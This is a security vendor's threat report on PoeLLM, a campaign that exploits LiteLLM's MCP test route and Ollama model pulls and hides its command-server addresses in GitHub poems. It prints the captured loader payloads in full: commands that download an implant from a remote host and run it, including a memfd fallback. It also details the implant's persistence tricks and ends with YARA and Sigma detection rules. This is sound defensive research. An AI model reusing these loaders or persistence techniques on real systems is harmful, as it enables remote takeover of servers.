Reading the Rest of the Poem: Reconstructing PoeLLM's Hidden Address Book

The poem had an address.

On December 9, 2025, a short poem appeared in a fork of discord.js. The numbers in its words encode the address of a command server. A Linux implant reads the poem from GitHub and connects to that address. Change the poem, and every implant that reads it moves to the new server.

Lumen’s Black Lotus Labs named this family PoeLLM on October 7 and measured its reach: almost 2,200 affected servers at the mid-June peak. Their report followed one poem channel. We found three more, with a history going back to December 2025, starting from a single request to one of our honeypots.

Here is the December poem:

The ghost69 verb203 the obj32
place194, adj69 and deep,
Where ghost203 verb32 never sleep.

A adj194 ghost69 in the machine,
On obj203 pathways, unseen.
Mr. Robot claims the night,
In adj32 obj194 light.

Each number is attached to a word. Read the numbers in the order place, ghost, verb, obj, and you get 194.69.203[.]32. The later lines repeat the same four numbers.

TL;DR

• The poem dead drop dates back to December 9, 2025, four months before the earliest poem in the original report. We recovered 48 of the operator’s commits from three more GitHub channels.
• Those poems name 37 command addresses, 32 of them not among the 12 previously published PoeLLM command servers. Four of the seven newest had been running AI services before a poem named them.
• The operator used three poem encodings, introduced in December, April and June. The newest has no numbers or fixed template; it reads as ordinary verse, and only tables inside Sentinel turn it back into an address.
• Delivery requests target LiteLLM’s CVE-2026-42271 and usually arrive disguised as an MCP server called system-monitor. The implant behind it is a remote-access manager; the miner is a separate component.
• Nine days before Lumen’s report, our Ollama honeypots began receiving model pulls from rogue registries, with a fixed ID for each target.
• Exposed LiteLLM and Ollama servers are the targets. Patch versions and hunting guidance are below.

Following one request

On July 18, our LiteLLM honeypot received a POST /mcp-rest/test/connection. This is the MCP test route behind CVE-2026-42271, fixed in LiteLLM 1.83.7. MCP (Model Context Protocol) servers can run as local programs, and on vulnerable versions this test route starts the command a request names. This was not a probe. Its body told the server to fetch /private/manager from a staging host on TCP/81, try a second host if the first failed, and run what it downloaded.

Here is that request, with the addresses defanged and its ID replaced:

{"transport": "stdio", "command": "python3", "args": ["-c", "import subprocess,os;subprocess.Popen(['bash','-c',\"cd /tmp && (wget -q http://178.128.14[.]204:81/private/manager -O manager 2>/dev/null || curl -sf http://178.128.14[.]204:81/private/manager -o manager || python3 -c \\\"import urllib.request; urllib.request.urlretrieve('http://178.128.14[.]204:81/private/manager','manager')\\\" || wget -q http://217.76.63[.]67:81/private/manager -O manager 2>/dev/null || curl -sf http://217.76.63[.]67:81/private/manager -o manager || python3 -c \\\"import urllib.request; urllib.request.urlretrieve('http://217.76.63[.]67:81/private/manager','manager')\\\") && chmod +x manager && nohup ./manager --id <id> >/dev/null 2>&1 &\"],start_new_session=True,stdin=open('/dev/null'),stdout=open('/dev/null','w'),stderr=open('/dev/null','w'))"], "env": {}}

Both download hosts were already in the operator’s address book: GitHub poems had named them as command servers a month earlier.

Delivery requests like this came from 66 source addresses between July 18 and September 30. The steps stayed the same while the packaging changed:

On August 14 the same steps arrived as plain Python, inside an MCP server configuration:

{"server_name":"system-monitor","transport":"stdio","command":"python3","args":["-c","import os,subprocess;subprocess.call(\"python3 -c \\\"import urllib.request,os,subprocess,time,socket;socket.setdefaulttimeout(12);f='/tmp/.'+str(os.getpid());urllib.request.urlretrieve('http://217.76.63[.]67:81/private/manager',f);os.chmod(f,0o755);subprocess.Popen([f,'--id','llrig-<n>'],stdin=open('/dev/null','rb'),stdout=open('/dev/null','wb'),stderr=open('/dev/null','wb'),start_new_session=True);time.sleep(2)\\\"\",shell=True)"],"env":{}}

On a vulnerable gateway, the loader runs as that server’s start-up command, and the logs show only an MCP connection test for a server with an ordinary name. The injection starts the implant once; its own persistence keeps it running.

From August 20, the command is a single Base64 blob, python3 -c "import base64;exec(base64.b64decode('…').decode())". This is the August 24 version, decoded:

import ctypes,os,subprocess as P,urllib.request as R,socket,time
socket.setdefaulttimeout(12)
_m='manager-amd64'
if os.uname().machine in ('aarch64','arm64'): _m='manager-arm64'
_url='http://217.76.63[.]67:81/private/'+_m
_args=["--id","llrig-<n>","--port","10"]
_kw=dict(stdin=open('/dev/null','rb'),stdout=open('/dev/null','wb'),stderr=open('/dev/null','wb'),start_new_session=True)
_ok=False
try:
  _f='/tmp/.'+str(os.getpid()); R.urlretrieve(_url,_f); os.chmod(_f,0o755); P.Popen([_f]+_args,**_kw); _ok=True
except Exception:
  pass
if not _ok:
  try:
    _f='/dev/shm/.'+str(os.getpid()); R.urlretrieve(_url,_f); os.chmod(_f,0o755); P.Popen([_f]+_args,**_kw); _ok=True
  except Exception:
    pass
if not _ok:
  _libc=ctypes.CDLL(None); _fd=_libc.memfd_create(ctypes.c_char_p(b'x'),0)
  os.write(_fd,R.urlopen(_url).read())
  _fp='/proc/self/fd/'+str(_fd)
  P.Popen([_fp]+_args,**_kw,pass_fds=(_fd,)); os.close(_fd); _ok=True
time.sleep(2)

It picks /private/manager-amd64 or /private/manager-arm64 to match the host, saves it as /tmp/.<pid> and runs it with --id llrig-<n> --port 10. If that fails, it tries /dev/shm/.<pid>. If that fails too, it runs the binary from an anonymous memory file. The loader never deletes a failed attempt’s file. A host where the memory-file path ran, for example because /tmp and /dev/shm are mounted noexec, may still hold a copy in those directories.

The honeypots also recorded three patterns in how the operator works:

• Campaign addresses also ran discovery. Three of the campaign’s command and staging hosts sent us axios/1.14.0 discovery requests, and two more requested the same paths without a user agent. July’s primary stager did so two days after delivery requests named it as the download host.
• In August, delivery followed discovery within minutes. 16 of that month’s 29 delivery requests reached a honeypot less than ten minutes after the same honeypot had received both axios discovery requests (/v1/models, then /openapi.json). We did not see this pattern in July or September.
• The same sources checked Ollama first. Three July delivery sources queried our Ollama honeypots’ /api/version between three and 27 hours before their first LiteLLM delivery request.

Reverse engineering Bridge and Sentinel

The delivery requests try to install a manager, not a miner. We reverse-engineered its two most recent builds statically.

The practical concern is persistent remote access. Between them, the two builds can run shell commands, accept files, scan networks the controller chooses, relay traffic, start and restart other programs, and replace themselves with new versions. Removing the miner can leave the operator’s access intact. Static analysis shows what the code can do, not which of these features ran on any host.

The shared build environment, configuration key and dead-drop list point to one author. PoeLLM’s other ports belong to the rest of the operation: 3778 to colonna, the operation’s oldest resolver, a modified Mirai build; 1458 to the five fetch relays both builds use; and 9999 to the separate miner.

Bridge 3.0.7: a parser that quotes the poem

Bridge gives its scheme away in its own code. To read the poem, it uses two format strings: The %63s %63s the %63s and %63[^,], %63s and deep,. The second is the poem’s second line, with its numbered words replaced by placeholders. Bridge reads the address as place, ghost, verb, object, saves it to a file named bridge_srv_ip_<id>, and reconnects whenever the poem changes.

Around the resolver sits a remote-access client. Its dispatcher handles SHELL_CMD (runs a command and returns the output), SUBNET_SCAN (targets and ports supplied by the controller), TCP_TUNNEL_OPEN and HTTP_REQUEST (which turn the host into a relay), and chunked, resumable file transfer. Nothing it scans or relays to is hardcoded; the controller supplies every target.

Sentinel 1.5.2: built to be hard to stop

Sentinel is the newer build: a static AArch64 binary packed with UPX 4.21. Some of its strings are XOR-encoded under 0x5A or assembled on the stack at runtime; others are readable once it is unpacked. The same key hides its configuration, which lists the three dead drops and the five relays.

Finding the server. Sentinel fetches each dead drop from GitHub directly, then through the five relays on TCP/1458, trying HTTPS before HTTP, with certificate verification disabled. It makes three passes, with timeouts of 2, 5 and 30 seconds, sleeps a random 0 to 499 ms before each request, and rotates four browser User-Agents. Two are malformed, which makes them easy to match: one claims Edge/124.0, where real Edge sends Edg/. The parser accepts a stanza, a plain dotted address or a simpler numeric format, and validates the result with inet_pton before connecting.

Talking to the controller. Sentinel connects to TCP/5002 by default. Each side opens with four random bytes, and Sentinel mixes both nonces with a 16-byte secret from the binary into two keys: one RC4 stream for sending, one for receiving. Because the keys change with every session, decrypting recorded traffic takes the secret and the two nonces from the start of that connection. Inside the stream, Sentinel registers with a 134-byte frame (the magic value 0x5EC4, its process ID, the --id its loader passed, and the hostname), then takes colon-separated text commands.

What it does. Sentinel is not the payload; it is the platform the operator’s payloads run on. It supervises up to 16 processes, tags each with MANAGED_BY_SENTINEL, keeps a 1,000-line log for each, and records whether each one exited, crashed or was killed by something else on the host. The operator can add, kill and restart those processes (PROC_ADD, PROC_KILL, RESTART_ALL), run shell commands (SHELL:), push files (FILE_SEND:), replace Sentinel itself (CLIENT_UPDATE:), switch it to a new server (FORCE_IP:), or have it remove its own traces (DELETE_TRACE). It installs under one of 16 borrowed daemon names, such as avahi-daemon and packagekit, in directories like /usr/libexec and /var/lib/dbus.

Staying alive. Sentinel’s systemd unit sets KillSignal=SIGCONT and SendSIGKILL=no. So systemctl stop sends a signal that does nothing to a running process, and never follows up with a kill. Behind the unit, an @reboot cron entry and a five-minute pgrep watchdog, both tagged #snt-, start it again, and chattr +i stops its binary from being deleted. The binary also carries strings for injecting a launcher into running python3 processes; we did not trace that path.

Bridge persists more conventionally: a systemd unit, a five-minute cron job that restarts it if systemctl is-active fails, a PostgreSQL archive_command hook, a shell hook at /etc/profile.d/dbus-mgr.sh, and chattr +i.

libgcrypt: the separate mining component

Neither Bridge nor Sentinel contains mining code. That work falls to a separate program, the one in the original PoeLLM report, which installs itself as libgcrypt under ~/.local/share/.syslib/. That report says it also carries a remote shell. In a public malware sandbox it reports to its server on TCP/9999 and mines with XMRig and Iron on Kryptex pools. It also tries to spread: in two sandbox runs it probed about 300 random hosts on LiteLLM’s default port, 4000, and sent the same /mcp-rest/test/connection request to 14 of them. No similarity hash links its code to Bridge or Sentinel, but it shares one habit with Bridge: it writes its server address to a file, /tmp/.srvip.

Sentinel and the miner meet at one address. On June 16, the umbrel channel published 178.128.14[.]204 as a Sentinel command server. On June 17 and 18, the miner connected to the same server in a public malware sandbox.

Where the poems live

Both builds carry the same three dead-drop locations in their configuration. Each points to a fork of a well-known project with one added file, which the operator rewrote again and again in GitHub’s web editor:

All four accounts, these three and the owner of the previously reported dash.css fork, have since been deleted. Their commits survive: a deleted fork’s commits stay readable through the parent project’s repository, and all 48 of these still resolved on October 12. Our copy of each channel’s history stops on September 2, the last day we could list its commits. The commit hashes are in the dead-drop archive.

The parent projects were not compromised. GitHub shows a fork’s commits under the parent’s URL, so these links point into discord.js, umbrel and deepin-wine-ubuntu although nothing changed in those projects. Do not block them.

Generation 1: numbered verse

The December poem is the first generation. Between December 9, 2025 and June 17, 2026, the operator published 39 numbered verses encoding 31 addresses. Twenty of those addresses went out before April 13, the day the dash.css poem was first committed. On April 13 itself, the discord.js channel published another.

Public malware records corroborate the earliest activity. On December 6, three days before the first verse, URLhaus, MalwareBazaar and VirusTotal logged 194.69.203[.]32:81/hiddenbin/ serving colonna. That is the address the first verse would name. On February 15, VirusTotal received a 446-byte script (c9d56373…) that pulls colonna from 191.37.28[.]163:81, an address the discord.js channel had published two days before. In the sandbox, colonna then beaconed to that host on TCP/3778 and fetched the discord.js channel through a relay.

Generation 2: keyword verse

The original PoeLLM report documented the second generation, in the dash.css fork from April 13. Its two-stanza poem hides four keywords in fixed slots of a template, and a dictionary in the binary maps each one to an octet. The digits are gone, but every keyword still stands for one octet.

Generation 3: the stanza cipher

Sentinel reads a four-line stanza. Each line pairs an opening phrase with an ending, each drawn from a 16-entry table, and the pair gives one octet:

octet = (opening_index << 4) | ending_index

In the made-up line the lighthouse rests at dawn., opening 12 and ending 0 encode 192. The real lines are about moons, rivers, sparrows and lanterns, so each stanza reads as ordinary verse. Only Sentinel’s tables turn it back into an address.

The channels carried eight stanzas between June 16 and August 27, naming seven command addresses. The operator’s own change of format confirms the decoding: the same address appeared as numbered verse on June 17 and as a stanza on June 18.

Four channels, one address book

The dash.css fork draws on the same address book. Five of the 12 published PoeLLM command servers also appear in these three channels: three on the same day they were first seen in the original report’s telemetry, a fourth two days earlier, and a fifth six days later. All four channels work the same way: fork a popular project, add one file, and keep rewriting a short poem inside it. The three fork accounts behind these channels were created within 14 minutes of each other and reuse identical poems across repositories.

Together the three channels name 37 command addresses, 32 of them not among the 12 previously published. Some addresses show the operator returning to the same networks for months. In February the numbered verse named 191.37.28[.]163, in the same /24 as 191.37.28[.]160, the earliest command server in the original report. 101.47.160[.]163, published in April, scanned our honeypots in June and turned up as a staging host in a delivery request in September.

AI services before the poems

Scan and DNS history show AI services on four of the seven addresses named in stanzas before a poem named them: LiteLLM, n8n, ComfyUI or Jupyter. We cannot tell whether the operator compromised these servers or set them up; Lumen reports that the operator has used compromised routers as command servers, and earlier victims to attack new targets. One carried an n8n hostname from May 20 and ran LiteLLM from July 17. A poem named it on July 22, and port 81 appeared three days later.

Everyone gets a number

Nine days before PoeLLM went public, we began observing a new model-pull stage aimed at Ollama. Ollama will download a model from any registry named in a POST /api/pull, including plain-HTTP ones when the request sets "insecure": true, and it has no built-in authentication.

From September 28 to October 5, our Ollama honeypots received 94 such pulls from 67 addresses, naming three registries on TCP/9882:

<registry>:9882/gate/tensorgate
<registry>:9882/r-orig-<id>/usrlocal
<registry>:9882/r-orig-<id>/usr

All three registries had already appeared as staging hosts in PoeLLM’s LiteLLM delivery requests, and one is a published PoeLLM command server.

tensorgate was the same for every target. The <id> was not: each targeted honeypot got its own number and kept it for eight days, across all three registries and every source address. That points to a target list kept by the operator.

usr and usrlocal are Ollama’s two install prefixes. Three days after the last pull, CERT Polska published CVE-2026-103663, in which a crafted pull writes a file outside the model store that can run as root on restart. Our honeypots refused every pull, so we never saw the artifacts. These requests alone cannot tell us whether they were attempts to exploit that vulnerability.

What to hunt

Patch LiteLLM to 1.83.7 or later and Ollama to 0.35.0 or later, and keep both off the public internet. Patching does not remove an implant that is already installed, so also look for the signs below. A matching request shows what was sent, not that anything ran.

• Ollama: POST /api/pull with "insecure": true and a model name that starts with host:port/, especially gate/tensorgate or r-orig-*. From October 4, a POST /api/generate for does-not-exist-zz came first. Model names live in request bodies, so search logs that keep them.
• LiteLLM: bodies sent to /mcp-rest/test/connection or /mcp-rest/test/tools/list that define an MCP server, often named system-monitor, whose command downloads /private/manager* from TCP/81. Decode nested JSON and Base64 first.
• The launched implant: a process started with --id llrig-<n> --port 10, or whose executable is /tmp/.<digits>, /dev/shm/.<digits> or /memfd:x (deleted).
• Sentinel on a host: /tmp/.snt.lck, /tmp/.snt_x_*, crontab lines tagged #snt-, systemd units with KillSignal=SIGCONT, and MANAGED_BY_SENTINEL in a process environment (/proc/<pid>/environ).
• Bridge on a host: files named bridge_srv_ip_*, /tmp/.bce_*, /etc/profile.d/dbus-mgr.sh, MANAGED_BY_SYSTEMD in a process environment, and a PostgreSQL archive_command you did not set.
• Either build: an immutable executable and a five-minute restart cron job. Run chattr -i on the executable first, then remove every persistence mechanism together.
• On the network: a server process fetching the same raw file from a public GitHub repository again and again.

YARA and Sigma rules are under Detection rules.

The rest of the poem

This investigation started from one request a honeypot did not carry out. A typical access log keeps a route and a status code. Beelzebub kept the body, and the body named a staging path. Ten weeks later, the same infrastructure had assigned four of our honeypots their own target IDs.

Network telemetry shows where an infected server connected. A decoy shows what the server was told to do, and every instruction is a lead. Caronte’s reverse-engineering report on Sentinel gave us its relays and dead-drop paths; we then unpacked and read the build ourselves.

Our honeypots ran nothing they received, and we analyzed the implants statically. We reported our findings to the relevant authorities in September, before the Ollama stage began.

If system-monitor, tensorgate or a :9882 registry has shown up on your sensors, or you want to see what is reaching your AI gateways and model servers, talk to us. Beelzebub is open source, and you can run it yourself.

Reference material

Network indicators

These indicators are a historical record. An address’s dates show when a poem named it, not how long the operator used it, and some addresses may belong to compromised third parties or have since changed hands. Search past logs with them first, and confirm current activity before you block.

We have withheld the addresses that sent us delivery, discovery and Ollama requests, and the target IDs that would identify our sensors.

The 12 previously published command servers are in the Black Lotus Labs IOC file.

Command addresses with earlier AI services

Artifact hashes

Detection rules

The rules are released under the Detection Rule License 1.1.

/*
  PoeLLM: Linux implant detections
  Families: "Sentinel" process supervisor (1.5.x) and "Bridge" managed agent (3.0.7), plus the
            Python delivery loader sent through LiteLLM MCP test requests (CVE-2026-42271).
  Author: Beelzebub Labs. Date: 2026-10-13. License: DRL 1.1.
  Reference: https://beelzebub.ai/blog/reading-the-rest-of-the-poem/

  Sentinel is packed with stock UPX 4.x (LZMA); its strings exist only after unpacking.
  Recommended: unpack a copy with `upx -d`, then scan with the Sentinel_* rules. The
  UPX_Packed_Build rule is a narrow, build-specific fallback. Test results are in the article.
*/

import "elf"

rule PoeLLM_Sentinel_Unpacked_Strings
{
    meta:
        description = "PoeLLM Sentinel supervisor (unpacked): lock files, supervisor log formats, persistence templates, XOR-0x5A protocol tokens"
        family = "PoeLLM.Sentinel"
        reference_sha256_packed = "0ce90d89c1b4258b14f541c9add80ff13760590f4cf6bf338e22c2258ffe9eca"
        arch = "any (strings are architecture-independent; validated on AArch64 only)"
        date = "2026-10-12"
    strings:
        $s01 = "MANAGED_BY_SENTINEL" ascii
        $s02 = "/tmp/.snt.lck" ascii
        $s03 = "/tmp/.snt_x_%s" ascii
        $s04 = "sigkill_likely:prev_pid:%d:ppid:%d:invid:%d" ascii
        $s05 = "concurrent_start:prev_pid:%d:our_ppid:%d:invid:%d" ascii
        $s06 = "Killed by sentinel" ascii
        $s07 = "[sentinel] exec failed:" ascii
        $s08 = "$3 == \"PyRun_SimpleString\"" ascii
        $s09 = "ExecStart=%s%s%s --no-kill" ascii
        $s10 = "/.i2c_lk_%08x" ascii
        $s11 = "#snt-%08x" ascii
        $s12 = "pgrep -f \"^%s\" >/dev/null 2>&1 || %s%s --no-kill" ascii
        $s13 = "KillSignal=SIGCONT" ascii
        $s14 = "SendSIGKILL=no" ascii
        // command tokens are stored XOR 0x5A and decoded on the stack at runtime
        $x01 = "sntnl_v1" xor(0x5a)
        $x02 = "SNT_TAMPER:" xor(0x5a)
        $x03 = "SHM_CHECK" xor(0x5a)
        $x04 = "PROC_LOGS_RESULT:" xor(0x5a)
        $x05 = "DELETE_TRACE" xor(0x5a)
    condition:
        uint32(0) == 0x464c457f and filesize < 5MB and
        ( 5 of ($s*) or 3 of ($x*) or (2 of ($x*) and 2 of ($s*)) )
}

rule PoeLLM_Sentinel_UPX_Packed_Build
{
    meta:
        description = "PoeLLM Sentinel, UPX-packed: static ELF whose UPX p_info declares a known Sentinel original size"
        family = "PoeLLM.Sentinel"
        caveat = "Build-specific: matches known original sizes only (AArch64 1.5.2 = 920760, tested; amd64 1.5.1 = 896512, untested). Prefer unpack-then-scan."
        date = "2026-10-12"
    strings:
        $upx = "UPX!"
    condition:
        uint32(0) == 0x464c457f and filesize < 600KB and
        (uint16(0x12) == 0xb7 or uint16(0x12) == 0x3e) and
        $upx in (0xe0..0x200) and
        for any i in (1..#upx) : (
            @upx[i] < 0x200 and
            ( uint32(@upx[i] + 12) == 920760 or uint32(@upx[i] + 12) == 896512 )
        )
}

rule PoeLLM_Bridge_Strings
{
    meta:
        description = "PoeLLM Bridge managed agent (v3.0.x, static musl x86-64): resolver grammar, persistence and dispatcher strings"
        family = "PoeLLM.Bridge"
        reference_sha256 = "3af9f25a4d45bb4f1ec5627cdbc6703cf3b4be75a892162d299d80ddfb266f42"
        date = "2026-10-12"
    strings:
        $b01 = "/bridge_srv_ip_%s" ascii
        $b02 = "IP_REFRESH: server_connected reset" ascii
        $b03 = "Restarted corollary client services (excluding self)" ascii
        $b04 = "Running under systemd, renaming process via execv" ascii
        $b05 = "The %63s %63s the %63s" ascii
        $b06 = "%63[^,], %63s and deep," ascii
        $b07 = "%s:%s|DESC:%s|VERSION:%s" ascii
        $b08 = "SUBNET_SCAN_START - Session: %s, Target: %s, Ports: %s" ascii
        $b09 = "ATTACKER_WATCHDOG: kill loop detected" ascii
        $b10 = "No postgres environment detected" ascii
        $b11 = "systemctl is-active --quiet %s || systemctl start %s" ascii
        $b12 = "BRIDGE_STANDALONE" ascii
        $b13 = "MANAGED_BY_SYSTEMD" ascii
        $b14 = "Binary hash matches, no update needed" ascii
        $x01 = "/tmp/bridge_clients" xor(0x5a)
        $x02 = "REBOOT_ACK" xor(0x5a)
    condition:
        uint32(0) == 0x464c457f and filesize < 5MB and
        ( 4 of ($b*) or (1 of ($x*) and 2 of ($b*)) )
}

rule PoeLLM_XOR5A_Relay_Config
{
    meta:
        description = "PoeLLM (Bridge and Sentinel): XOR-0x5A config holding fetch-proxy rewrites of raw GitHub URLs (:1458/get?url=https://raw.githubusercontent.com/)"
        family = "PoeLLM"
        date = "2026-10-12"
    strings:
        $relay = ":1458/get?url=https://raw.githubusercontent.com/" xor(0x5a)
        $raw   = "https://raw.githubusercontent.com/" xor(0x5a)
    condition:
        uint32(0) == 0x464c457f and filesize < 5MB and $relay and #raw >= 3
}

rule PoeLLM_Delivery_Loader_Python
{
    meta:
        description = "PoeLLM delivery loader in LiteLLM MCP test bodies, logs or scripts: Python downloader for the /private/manager implant (July wget form and August urlretrieve form). Decode Base64 wrappers before scanning."
        family = "PoeLLM.Loader"
        scope = "text artifacts: request bodies, proxy logs, process-argument dumps, scripts"
        date = "2026-10-13"
    strings:
        $path1 = "/private/manager" ascii
        $path2 = ":81/private/" ascii
        $arch1 = "manager-amd64" ascii
        $arch2 = "manager-arm64" ascii
        $dl1 = "urlretrieve" ascii
        $dl2 = "wget -q" ascii
        $c1 = "start_new_session=True" ascii
        $c2 = "llrig-" ascii
        $c3 = "system-monitor" ascii
        $c4 = "memfd_create" ascii
        $c5 = "\"--id\"" ascii
        $c6 = "'--id'" ascii
    condition:
        filesize < 2MB and
        ( $path1 or ($path2 and 1 of ($arch*)) ) and
        1 of ($dl*) and 1 of ($c*)
}

title: Python One-Liner Download Or Launch Of /private/manager Implant
id: 3cf0b2ba-60fc-5669-a237-4f19718a9392
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: 'Delivery loader spawned through LiteLLM MCP stdio test-connection (CVE-2026-42271): urlretrieve of /private/manager[-arch] to /tmp/.<pid>, then a detached launch with --id llrig-<n>. Later loaders fall back to /dev/shm/.<pid> and then to an anonymous memfd, so the process image may be /memfd:x (deleted).'
tags:
- attack.execution
- attack.t1059.006
- attack.initial-access
- attack.t1190
- cve.2026-42271
logsource:
  category: process_creation
  product: linux
detection:
  selection_dl:
    CommandLine|contains|all:
    - urlretrieve
    - /private/manager
  selection_exec:
    Image|startswith:
    - /tmp/.
    - /dev/shm/.
    - '/memfd:'
    CommandLine|contains: --id llrig-
  condition: 1 of selection_*
falsepositives:
- Not measured
level: critical
---
title: PoeLLM Sentinel Lock And Marker Files
id: 5d10d196-c256-5e65-a913-3cfcbff165e2
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Sentinel single-instance lock, per-instance exec marker and hidden install/lock names.
tags:
- attack.persistence
- attack.defense-evasion
- attack.t1564.001
logsource:
  category: file_event
  product: linux
detection:
  selection_exact:
    TargetFilename|endswith:
    - /.snt.lck
    - /.snt_upd
  selection_prefix:
    TargetFilename|startswith: /tmp/.snt_x_
  selection_re:
    TargetFilename|re: /\.i2c_(lk_)?[0-9a-f]{8}$
  condition: 1 of selection_*
falsepositives:
- Not measured
level: high
---
title: PoeLLM Sentinel Crontab Reboot And Five-Minute Pgrep Watchdog
id: f7662fba-4529-52c9-aca7-fd1ba31dee93
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Sentinel rewrites the user crontab with an @reboot entry and a */5 pgrep -f self-resurrection entry, both passing --no-kill.
tags:
- attack.persistence
- attack.t1053.003
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine|contains|all:
    - crontab -
    - '@reboot'
    - \*/5 \* \* \* \* pgrep -f
    - --no-kill
  condition: selection
falsepositives:
- Not measured
level: high
---
title: PoeLLM Bridge State Files
id: 785bf9fd-33e2-56d4-a83c-735a3df17730
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Bridge dead-drop result cache (bridge_srv_ip_<id>), client registry and transfer/update temp files.
tags:
- attack.persistence
- attack.t1564.001
logsource:
  category: file_event
  product: linux
detection:
  selection_name:
    TargetFilename|contains: /bridge_srv_ip_
  selection_root:
    TargetFilename|startswith:
    - /tmp/.bce_
    - /tmp/bridge_clients
    - /tmp/bridge_file_
    - /tmp/client_update_
    - /tmp/client_reboot_
    - /var/tmp/.X11-unix-cache/
  condition: 1 of selection_*
falsepositives:
- Not measured
level: high
---
title: PoeLLM Bridge Profile.d Hook dbus-mgr.sh
id: dd93345b-d88b-5f06-bc93-6e2b62642275
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Bridge drops /etc/profile.d/dbus-mgr.sh as a login-shell relaunch hook (PostgreSQL persistence tier).
tags:
- attack.persistence
- attack.t1546.004
logsource:
  category: file_event
  product: linux
detection:
  selection:
    TargetFilename: /etc/profile.d/dbus-mgr.sh
  condition: selection
falsepositives:
- Not measured
level: high
---
title: PostgreSQL archive_command Set From Shell
id: 1c8223da-b62e-5949-a617-d0b3334cd022
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: 'Bridge PERSIST_PG installs an archive_command hook so PostgreSQL itself relaunches the implant. Generic: flags shell-side changes to archive_command.'
tags:
- attack.persistence
- attack.t1546
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine|contains: archive_command
  selection_op:
    CommandLine|contains:
    - ALTER SYSTEM
    - postgresql.auto.conf
    - postgresql.conf
    - pg_reload_conf
    - -c archive_command
  condition: selection and selection_op
falsepositives:
- DBA changes to WAL archiving; baseline your backup tooling (pgBackRest, wal-g, barman)
level: medium

ATT&CK mapping

Entries for delivery and the Ollama stage describe requests sent to our honeypots. Entries for the implant describe code we analyzed statically. None of them establishes that the code ran on a victim.

The dead-drop archive

Each commit can be read at https://github.com/<parent>/commit/<sha>. “Verse” is generation 1 and “stanza” is generation 3. Row 22, the “tombstone”, replaced the poem with a single period, leaving the channel without an address for four minutes. Addresses are defanged.

Every commit (48)

Unique addresses (37)

Explore the open-source Beelzebub deception framework or book a Beelzebub.ai demo.

The Beelzebub team is dedicated to making the internet a better and safer place. ❤️